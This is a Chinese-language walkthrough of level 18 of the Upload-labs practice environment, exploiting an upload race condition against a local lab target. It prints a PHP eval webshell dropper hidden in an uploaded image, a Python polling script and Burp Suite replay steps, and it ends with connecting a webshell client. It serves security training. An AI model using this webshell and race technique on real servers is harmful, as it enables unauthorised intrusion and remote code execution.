首页 > 其他分享 >Upload-labs 18 条件竞争——通关

Upload-labs 18 条件竞争——通关

时间:2022-11-30 17:38:58浏览次数:45  
标签:php.7 shell python 18 Upload burpsuite labs php 数据包


访问目标站点,提示如下图所示

Upload-labs 18 条件竞争——通关_python脚本


查看源码

Upload-labs 18 条件竞争——通关_php_02


思路:上传shell.php.7z图片木马配合解析漏洞进行getshell

实验步骤:

图片中php一句话木马代码:​​<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>');?>​

第一种:使用python脚本

第一步:burpsuite抓包,上传文件名字shell.php.7z,在图片信息最下方是一句话木马:

<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>');?>

(只要被成功当作PHP文件解析,就会生成shell2.php 文件)

Upload-labs 18 条件竞争——通关_php_03


第二步:python脚本打开并运行

python内容:

import requests
url = "http://127.0.0.1/upload-labs/upload/shell.php.7z"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")

Upload-labs 18 条件竞争——通关_python脚本_04


第三步:在python脚本运行后,burpsuite开始无限制重放数据包

Upload-labs 18 条件竞争——通关_php_05


直到python脚本出现OK,才关闭burpsuite

Upload-labs 18 条件竞争——通关_7z_06


第四步:访问生成的shell2.php文件

Upload-labs 18 条件竞争——通关_php_07


中国菜刀连接即可

Upload-labs 18 条件竞争——通关_7z_08


Upload-labs 18 条件竞争——通关_python脚本_09


第二种:不使用python脚本

burpsuite与第一种方法一样,无限重放数据包,在无限重放数据包的同时,要一直访问shell.php.7z文件

Upload-labs 18 条件竞争——通关_python脚本_10


直到出现如下界面,说明竞争成功,成功执行shell.php.7z生成shell2.php 文件

Upload-labs 18 条件竞争——通关_php_11


中国菜刀连接即可


标签:php.7,shell,python,18,Upload,burpsuite,labs,php,数据包
From: https://blog.51cto.com/u_12343119/5900010

相关文章

  • 使用appuploader工具如何生成发布证书和描述性文件教程
     之前用AppCan平台开发了一个应用,平台可以同时生成安卓版和苹果版,想着也把这应用上架到AppStore试试,于是找同学借了个苹果开发者账号,但没那么简单,还要用到Mac电脑的钥......
  • 【译】PEP 318--函数和方法的装饰器
    PEP原文:​​https://www.python.org/dev/peps/pep-0318​​PEP标题:DecoratorsforFunctionsandMethodsPEP作者:KevinD.Smith,JimJ.Jewett,SkipMontanaro,Anth......
  • react18使用useContext实现多级多级间传值与修改
     a、组件关系:依次嵌套Demo2->Demo2ComA->Demo2CompAA。。。b、实现可实现Demo2ComA与Demo2CompAA两组件间数据获取与修改(多层次嵌套时,也可实现,此处仅展示2......
  • 题解 SP18965
    题解SP18965题目大意:奶牛很厌烦等待,奶牛i在它的截止时间$d_i(1\leqd_i\leq10,000)$前挤\(g(1\leqg_i\leq1000)\)的奶,否则将不能挤奶。时间t开始时为0,......
  • 题解 CF518B
    题解CF518B这个题最暴力的做法就是对于每个\(s_i\)都在b字符串里扫一遍但是\(s.len\leq2\times10^5\)所以肯定过不了但是我们思考一下,这里的字母对应其实可以......
  • Computer Vision_18_Image Stitching
    此部分是计算机视觉部分,主要侧重在底层特征提取,视频分析,跟踪,目标检测和识别方面等方面。对于自己不太熟悉的领域比如摄像机标定和立体视觉,仅仅列出上google上引用次数比较多......
  • 指针详解(day18)
    目录指针基础:指针就是地址,在c语言中指针与指针变量大部分情况下不做区分。指针变量在内存中通常以4/8个字节的空间存储,根据系统位数确定。实例intmain(){inta=10;in......
  • 网易编程题2018
    小易准备去魔法王国采购魔法神器,购买魔法神器需要使用魔法币,但是小易现在一枚魔法币都没有,但是小易有两台魔法机器可以通过投入x(x可以为0)个魔法币产生更多的魔法币。......
  • 18-接口和抽象类的综合案例
    练习1乒乓球运动员-类packageyundong;publicclasspingpongextendsathleteimplementsEnglish{publicpingpong(){}publicpingpong(String......
  • hdu 5418 Victor and World
    hdu5418VictorandWorldTimeLimit:4000/2000MS(Java/Others)    MemoryLimit:262144/131072K(Java/Others)链接:http://acm.hdu.edu.cn/showproblem.php?pi......